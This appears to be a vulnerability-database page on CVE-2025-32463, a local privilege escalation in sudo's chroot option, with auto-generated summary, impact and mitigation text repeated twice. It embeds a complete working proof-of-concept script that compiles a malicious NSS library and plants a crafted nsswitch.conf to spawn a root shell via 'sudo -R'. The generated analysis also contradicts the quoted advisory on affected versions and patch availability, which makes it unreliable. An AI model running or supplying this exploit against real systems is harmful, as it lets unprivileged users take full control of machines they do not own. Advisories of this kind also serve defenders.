Sudo chroot 1.9.17 - Local Privilege Escalation
Sudo chroot 1.9.17 - Local Privilege Escalation
AI Analysis
Technical Summary
The security threat concerns a local privilege escalation vulnerability in the sudo chroot utility version 1.9.17. Sudo is a widely used program on Unix-like operating systems that allows permitted users to execute commands with elevated privileges, typically root. The chroot feature in sudo is intended to restrict the execution environment by changing the apparent root directory for the current running process, thereby isolating it from the rest of the system. However, in version 1.9.17, a vulnerability exists that can be exploited locally to escalate privileges. This exploit allows an unprivileged local user to gain root-level access by leveraging flaws in the chroot implementation or related privilege management within sudo. The exploit code is publicly available and written in the C programming language, indicating a relatively low-level and potentially reliable method of exploitation. Although no specific affected versions are listed beyond 1.9.17, it is implied that this version is vulnerable. No patches or fixes are currently linked, and there are no known exploits in the wild at the time of publication. The vulnerability is categorized as 'high' severity, reflecting the significant risk posed by local privilege escalation, which can lead to full system compromise if exploited successfully.
Potential Impact
For European organizations, this vulnerability poses a serious risk, especially in environments where sudo is used extensively for privilege delegation and system management. Successful exploitation would allow attackers with local access—such as employees, contractors, or attackers who have gained limited foothold—to escalate their privileges to root, thereby bypassing security controls and potentially gaining unrestricted access to sensitive data, system configurations, and critical infrastructure. This could lead to data breaches, disruption of services, and further lateral movement within networks. Organizations relying on Linux or Unix-based servers, workstations, or embedded systems that use sudo 1.9.17 or similar versions are particularly at risk. The threat is exacerbated in environments with shared access or weak endpoint security controls. Given the lack of known exploits in the wild, the immediate risk may be moderate, but the availability of exploit code increases the likelihood of future attacks.
Mitigation Recommendations
European organizations should immediately verify the version of sudo installed on their systems and identify any instances of version 1.9.17 or related vulnerable releases. Since no official patch links are provided, organizations should monitor vendor advisories and security mailing lists for updates or patches addressing this vulnerability. In the interim, applying strict access controls to limit local user access, enforcing the principle of least privilege, and employing endpoint detection and response (EDR) solutions to monitor for suspicious privilege escalation attempts are critical. Additionally, organizations should consider disabling or restricting the use of the chroot feature in sudo if feasible. Regular auditing of sudo configurations and logs can help detect anomalous activities. Where possible, upgrading to a later, patched version of sudo once available is strongly recommended. Implementing multi-factor authentication and robust user session monitoring can further reduce the risk of exploitation.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Poland, Sweden
Indicators of Compromise
- exploit-code: Exploit Title: Sudo chroot 1.9.17 - Local Privilege Escalation Google Dork: not aplicable Date: Mon, 30 Jun 2025 Exploit Author: Stratascale Vendor Homepage:https://salsa.debian.org/sudo-team/sudo Software Link: Version: Sudo versions 1.9.14 to 1.9.17 inclusive Tested on: Kali Rolling 2025-7-3 CVE : CVE-2025-32463 *Version running today in Kali:* https://pkg.kali.org/news/640802/sudo-1916p2-2-imported-into-kali-rolling/ *Background* An attacker can leverage sudo's -R (--chroot) option to run arbitrary commands as root, even if they are not listed in the sudoers file. Sudo versions affected: Sudo versions 1.9.14 to 1.9.17 inclusive are affected. CVE ID: This vulnerability has been assigned CVE-2025-32463 in the Common Vulnerabilities and Exposures database. Details: Sudo's -R (--chroot) option is intended to allow the user to run a command with a user-selected root directory if the sudoers file allows it. A change was made in sudo 1.9.14 to resolve paths via chroot() using the user-specified root directory while the sudoers file was still being evaluated. It is possible for an attacker to trick sudo into loading an arbitrary shared library by creating an /etc/nsswitch.conf file under the user-specified root directory. The change from sudo 1.9.14 has been reverted in sudo 1.9.17p1 and the chroot feature has been marked as deprecated. It will be removed entirely in a future sudo release. Because of the way sudo resolves commands, supporting a user-specified chroot directory is error-prone and this feature does not appear to be widely used. A more detailed description of the bug and its effects can be found in the Stratascale advisory: https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot Impact: On systems that support /etc/nsswitch.conf a user may be able to run arbitrary commands as root. *Exploit:* *Verify the sudo version running: sudo --versionIf is vulnerable, copy and paste the following code and run it.* *----------------------* #!/bin/bash # sudo-chwoot.sh – PoC CVE-2025-32463 set -e STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd "$STAGE" # 1. NSS library cat > woot1337.c <<'EOF' #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); /* change to UID 0 */ setregid(0,0); /* change to GID 0 */ chdir("/"); /* exit from chroot */ execl("/bin/bash","/bin/bash",NULL); /* root shell */ } EOF # 2. Mini chroot with toxic nsswitch.conf mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc # make getgrnam() not fail # 3. compile libnss_ gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "[*] Running exploit…" sudo -R woot woot # (-R <dir> <cmd>) # • the first “woot” is chroot # • the second “woot” is and inexistent command # (only needs resolve the user) rm -rf "$STAGE" *----------------------*
Sudo chroot 1.9.17 - Local Privilege Escalation
Description
Sudo chroot 1.9.17 - Local Privilege Escalation
AI-Powered Analysis
Technical Analysis
The security threat concerns a local privilege escalation vulnerability in the sudo chroot utility version 1.9.17. Sudo is a widely used program on Unix-like operating systems that allows permitted users to execute commands with elevated privileges, typically root. The chroot feature in sudo is intended to restrict the execution environment by changing the apparent root directory for the current running process, thereby isolating it from the rest of the system. However, in version 1.9.17, a vulnerability exists that can be exploited locally to escalate privileges. This exploit allows an unprivileged local user to gain root-level access by leveraging flaws in the chroot implementation or related privilege management within sudo. The exploit code is publicly available and written in the C programming language, indicating a relatively low-level and potentially reliable method of exploitation. Although no specific affected versions are listed beyond 1.9.17, it is implied that this version is vulnerable. No patches or fixes are currently linked, and there are no known exploits in the wild at the time of publication. The vulnerability is categorized as 'high' severity, reflecting the significant risk posed by local privilege escalation, which can lead to full system compromise if exploited successfully.
Potential Impact
For European organizations, this vulnerability poses a serious risk, especially in environments where sudo is used extensively for privilege delegation and system management. Successful exploitation would allow attackers with local access—such as employees, contractors, or attackers who have gained limited foothold—to escalate their privileges to root, thereby bypassing security controls and potentially gaining unrestricted access to sensitive data, system configurations, and critical infrastructure. This could lead to data breaches, disruption of services, and further lateral movement within networks. Organizations relying on Linux or Unix-based servers, workstations, or embedded systems that use sudo 1.9.17 or similar versions are particularly at risk. The threat is exacerbated in environments with shared access or weak endpoint security controls. Given the lack of known exploits in the wild, the immediate risk may be moderate, but the availability of exploit code increases the likelihood of future attacks.
Mitigation Recommendations
European organizations should immediately verify the version of sudo installed on their systems and identify any instances of version 1.9.17 or related vulnerable releases. Since no official patch links are provided, organizations should monitor vendor advisories and security mailing lists for updates or patches addressing this vulnerability. In the interim, applying strict access controls to limit local user access, enforcing the principle of least privilege, and employing endpoint detection and response (EDR) solutions to monitor for suspicious privilege escalation attempts are critical. Additionally, organizations should consider disabling or restricting the use of the chroot feature in sudo if feasible. Regular auditing of sudo configurations and logs can help detect anomalous activities. Where possible, upgrading to a later, patched version of sudo once available is strongly recommended. Implementing multi-factor authentication and robust user session monitoring can further reduce the risk of exploitation.
Affected Countries
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Technical Details
- Edb Id
- 52352
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Sudo chroot 1.9.17 - Local Privilege Escalation
Exploit Title: Sudo chroot 1.9.17 - Local Privilege Escalation Google Dork: not aplicable Date: Mon, 30 Jun 2025 Exploit Author: Stratascale Vendor Homepage:https://salsa.debian.org/sudo-team/sudo Software Link: Version: Sudo versions 1.9.14 to 1.9.17 inclusive Tested on: Kali Rolling 2025-7-3 CVE : CVE-2025-32463 *Version running today in Kali:* https://pkg.kali.org/news/640802/sudo-1916p2-2-imported-into-kali-rolling/ *Background* An attacker can leverage sudo's -R (--chroot) option to run
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Threat ID: 686e74f66f40f0eb72042df2
Added to database: 7/9/2025, 1:56:06 PM
Last enriched: 7/9/2025, 1:58:11 PM
Last updated: 7/9/2025, 1:58:11 PM
Views: 2
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CriticalActions
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